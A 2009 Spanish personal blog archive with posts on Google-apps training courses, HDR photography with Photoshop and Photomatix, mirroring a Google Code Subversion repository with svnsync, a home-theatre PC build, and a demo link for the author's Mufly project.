Google Calendar para llevar nuestra agenda, planificar el trabajo, además de la configuración de las alertas por email y sms, compartir los eventos e invitar a otras personas.

Picasa Web. Se crearán galerías de fotos, que adicionalmente se podran comentar y geolocalizar.

Gmail: Gestión de contactos, emails, configuración del acceso, archivos adjuntos...

Youtube: Creación de videos y subida y gestión de los mismos a youtube.

Personalmente pienso que los cursos están bien y el temario es adecuado, aunque no hay que olvidar que están orientados a personas sin muchos conocimientos. En especial el segundo, puesto que las aplicaciones que se explican son muy intuitivas y fáciles de aprender, aunque es cierto que para personas menos técnicas pueden presentar trabas.
Para finalizar, indicar que ambos cursos son gratuitos puesto que se pueden pagar de los fondos de formación asignados a cada empresa.

Fotografía HDR

2009-09-13T00:34:00.000+02:00

   Hace unos meses descubrí la fotografía HDR. Es una técnica que permite obtener fotografías completa y correctamente expuestas en su totalidad sin importar la diferencia entre luces y sombras. Es lo más parecido a captar una imagen tal y como lo hace nuestro ojo. Hay que destacar que es una técnica que tiene muchos detractores puesto que hay quien dice que desvirtua el verdadero arte de la fotografía ya que se basa en el post-procesado de las fotografías. En mi caso, estoy aprendiendo y probando, por lo que tampoco es que me decante hacia un lado u otro, simplemente exploro posibilidades.

   Para poder conseguir una fotografía HDR lo que vamos a hacer es realizar varias fotografías con distintas exposiciones para posteriormente fusionarlas en una. La forma más sencilla de realizar el proceso es con una cámara digital que tenga la opción de Auto Exposure Bracketing. En este caso, la cámara se encarga de hacer varias fotografías con distintos niveles de exposición. Lo más común es -2EV, 0EV y +2EV. Si nuestra cámara no posee esa opción (como es mi caso), todavía podemos hacer fotos HDR siempre que posea ajustes manuales. Otro elemento imprescindible es el uso del trípode para que todas las fotos sean exactamente iguales y el proceso de fusión se pueda realizar de la mejor manera posible.

   Después de la teoría pasemos a la práctica. En mi caso, hice 3 fotografías con los niveles de exposición antes comentados. Como se puede ver en las fotos, una de ellas está sobreexpuesta, la otra tiene unos niveles normales y la otra está subexpuesta

El primer paso es fusionar esas tres imágenes. Existen varios programas para realizar el proceso y yo utilizo Photoshop CS3. En el menú File -> Automate se encuentra la opción Merge to HDR. Elegimos las fotos y después de unos segundos nos generará una imagen resultante de la fusión de las anteriores.
Como se puede ver, el resultado es un tanto pobre en cuanto a los colores obtenidos. El siguiente paso es realizar un mapeo de tonos para obtener el resultado deseado. Para ello, utilizo un plugin para Photoshop (también existe como aplicación independiente) llamado Photomatix Tone Mapping. Este último paso va en función de los gustos de cada uno y de lo que deseemos obtener. Con esta técnica se pueden conseguir fotografías que parezcan muy reales y también otras totalmente irreales, casi como un "comic". Aquí dejo la imagen anterior después de aplicarle el filtro con valores distintos.

   En mi caso, soy más partidario de las imagenes reales y me quedo sin duda con la foto de la izquierda, pero hay gran cantidad de fotos muy similares a la otra e incluso más "forzadas".

   Como consejos finales recordaré el uso del trípode, fijar un iso bajo si nuestra cámara lo permite y utilizar el disparo retardado para no tocar la cámara cuando dispara y evitar que se mueva.

   Si queréis investigar más, en google hay infinidad de documentación, tutoriales, ejemplos,... Además, si queréis ver más fotos, con una sencilla búsqueda en flickr encontraréis cientos de miles.

Sincronizar el repositorio subversion de Google Code con uno local

2009-08-13T18:11:00.000+02:00

Cuando das de alta un proyecto en Google Code tienes acceso a un repositorio propio de subversion con 1GB de espacio para subir tu código. Según pasa el tiempo y empiezas a subir código, te das cuenta que te gustaría tener una copia de tu repositorio por si pasa algo. Además, también es muy útil cuando quieres navegar por él, consultar las revisiones de los archivos,... puesto que una copia local funciona infinitamente más rápido que el servidor remoto.

Así, estuve investigando cómo sincronizar mi repositorio de Mufly con uno local. La respuesta la encontré en el wiki de Google Code, concretamente en How do I download my Subversion history?. Viene muy bien explicado pero hay un pequeño detalle que no cuentan y hasta que me di cuenta de él perdí bastante tiempo haciendo pruebas. Los pasos a seguir son:

Crear el repositorio:

ivan@doraemon:~$ svnadmin create svn_mufly_mirror

Crear el archivo hooks/pre-revprop-change con el siguiente contenido

ivan@doraemon:~$ vi svn_mufly_mirror/hooks/pre-revprop-change
#!/bin/bash
exit 0

Y ahí es donde estaba el problema. En el wiki sólo cuentan que devuelva 0, pero falta el detalle de que es un script y como tal hay que indicar en la primera línea el shell que lo ejecutará.

Dar permisos de ejecución:

ivan@doraemon:~$ chmod +x svn_mufly_mirror/hooks/pre-revprop-change

Sincronizar: La primera vez nos pedirá el password y a partir de ahí ya no será necesario. Esta primera vez descargará todo el repositorio, por lo que puede tardar un poco.

ivan@doraemon:~$ svnsync init --username usuariogoogle file:///home/ivan/svn_mufly_mirror https://mufly.googlecode.com/svn

A partir de aquí sólo hay que actualizar los cambios.

ivan@doraemon:~$ svnsync sync --username lopez.ivan file:///home/ivan/svn_mufly_mirror
Transmitting file data .................
Committed revision 101.
Copied properties for revision 101.

Para comprobar que el repositorio es funcional lo podemos configurar en Eclipse (por ejemplo) y probar a navegar por él. Las carpetas se despliegan de manera automática mientras que en el remoto tardan unos segundos.

HTPC para el salón

2009-07-29T16:55:00.000+02:00

   En casa, tanto mi mujer como yo somos muy aficionados a las series. Desde hace ya varios años no vemos la tele. Por las noches, después de acostar a Judith nos ponemos uno o dos capítulos de alguna de las series que seguimos (que son muchas) y disfrutamos de los contenidos que nos gustan cuando nosotros queremos y sin cortes publicitarios.
   Hace ya algún tiempo que conté cómo tengo configurada la red de casa. Hasta ahora, el proceso que seguía un capítulo era el siguiente, lo descargaba del emule con el portatil que tengo dedicado para ello, luego lo copiaba a mi sobremesa, de ahí lo grababa en dvd's reescribibles y me lo llevaba al reproductor de dvd-divx del salón. Como os podéis imaginar es una tarea muy pesada y en muchas ocasiones, grababa unos cuantos capítulos, pero justo algun otro que no había grabado era el que le apetecía ver a mi mujer :-P.

   Así, después de mirar y convencer a mi mujer me decidí a montar un HTPC. Lo primero que tengo que aclarar es que el equipo lo monté a finales de enero (pero lo he ido dejando y hasta ahora no he sacado hueco para el post), por lo que ahora mismo puede que hubiera elegido otras opciones que no estaban disponibles hace 6 meses. Veamos lo que elegí:

Micro AMD Athlon 64 4850e: Aunque soy más de intel, en esta ocasión he elegido AMD. En concreto ese micro porque es especial para htpcs ya que sólo disipa 45W, por lo que podremos tenerlo fresquito sin muchos ventiladores.

Placa base Gigabyte MA78GM-DS2H: Esta placa estaba en casi todas las configuraciones de htpc que leía en los foros. Es una placa muy completa y tiene las salidas que yo estaba buscando: HDMI para conectarla a la tele y salida digital de audio para conectarla al amplificador. Además lleva la tarjeta gráfica integrada (ATI HD3200) que permite aceleración de contenido en alta definición por hardware.

Memoria: 2 GB en dos módulos Kingston. Para el uso que le voy a dar al htpc no necesitaba 4.

Disco duro: Seagate de 640 GB. Creo que los hay más silenciosos, pero en mi caso no lo aprecio y éste estaba a buen precio. Por cierto, ya lo tengo casi lleno :-P

Fuente de alimentación Tacens Radix II de 420W totalmente modular, así sólo conecto los cables de alimentación que necesito.

Caja SilverStone Grandia GD02B: Con la caja tuve un problema y es que mi mueble sólo tiene 40 centímetros de profundidad, por lo que la mayoría de las cajas del mercado no me servían. Al final me quedé con esta aunque me subió un poco de precio, pero no tenía muchas más alternativas. Al menos la caja cuesta lo que vale: es toda de aluminio, con un tacto muy agradable y unos acabados de gran calidad. Además tiene esos "pequeños" detalles que la hacen una gran caja como las gomas en los agujeros del disco duro para absorber las vibraciones y que haya el menor ruido posible.

Grabadora de DVD: Aunque no utilizo mucho el dvd porque todo es contenido descargado, sí que viene bien en ocasiones cuando alguien te deja un dvd o para alguna peli de dibujos de Judith (por supuesto copias de seguridad :-P). Elegí la grabadora LG más barata que encontré, no necesitaba nada mejor :-P.

Teclado y ratón inalámbricos: Como es algo que se va a utilizar muy poco: para buscar los subtitulos, comenzar la reproducción y poco más, elegí uno de una marca poco conocida pero muy económico. Al día siguiente lo tuve que devolver porque el alcance era nulo. Lo cambié por un pack Logitech Cordless Desktop EX110 que tiene un alcance realmente impresionante: me fui a dos habitaciones de distancia del salón y seguía funcionando!. Además el consumo de pilas es muy bueno. En estos 6 meses las pilas del teclado las he cambiado una vez y las del ratón todavía no.

Capturadora de televisión: No he puesto ninguna. El HTPC sustituye en el salón a un video y al reproductor de dvd-divx. Hablando con mi mujer, me preguntó qué hacíamos si queríamos grabar algo de la tele. Mi respuesta fue que llevábamos años (literalmente) sin grabar nada, así que al final nos ahorramos la capturadora.

Y respecto al hardware eso es todo. Como sistema operativo instalé Windows XP y dejé una partición para instalar Linux, aunque para ser sincero todavía no lo he hecho por falta de tiempo. Hace unos meses probé un live-cd de Ubuntu 8.10 y no conseguí sacar el audio en 5.1 por el amplificador. En cuanto pueda pruebo con la versión 9.04 a ver qué tal.
Como conclusiones finales diré que estamos encantados con el cambio. Sigo descargando todo en el portatil dedicado al emule y por las noches cuando nos ponemos a ver algo lo grabo directamente al disco duro del htpc. Así siempre tenemos disponible todo lo descargado para elegir. Hemos ganado en calidad de vida...

P.D: Los más observadores se habrán dado cuenta de que en la foto de todos los componentes hay un disipador Scythe Ninja Mini. Lo compré para sustituir al disipador de serie porque pensaba que el htpc estaba muy encajonado y no iba a refrigerar bien. El problema fue que no entraba en la caja y al final lo devolví. Además, he podido comprobar en todo este tiempo que las temperaturas se mantiene en unos márgenes muy razonables.

Demo de Mufly

2009-07-25T16:13:00.002+02:00

   Hace unos meses os presentaba el Proyecto Mufly. El tiempo va pasando y sigo implementando nuevas funcionalidades y mejorándolo poco a poco. Hace una semana publiqué en el blog del proyecto un post en el que contaba que he puesto online una demo para que todo el mundo lo quiera probar. Tenéis toda la información en este post.

   Como este blog tiene algo más de difusión que el blog del proyecto, os pongo aquí la url para el que quiera pueda probar Mufly y darme su opinión:
http://mufly.dyndns.org:8080/

   Espero comentarios...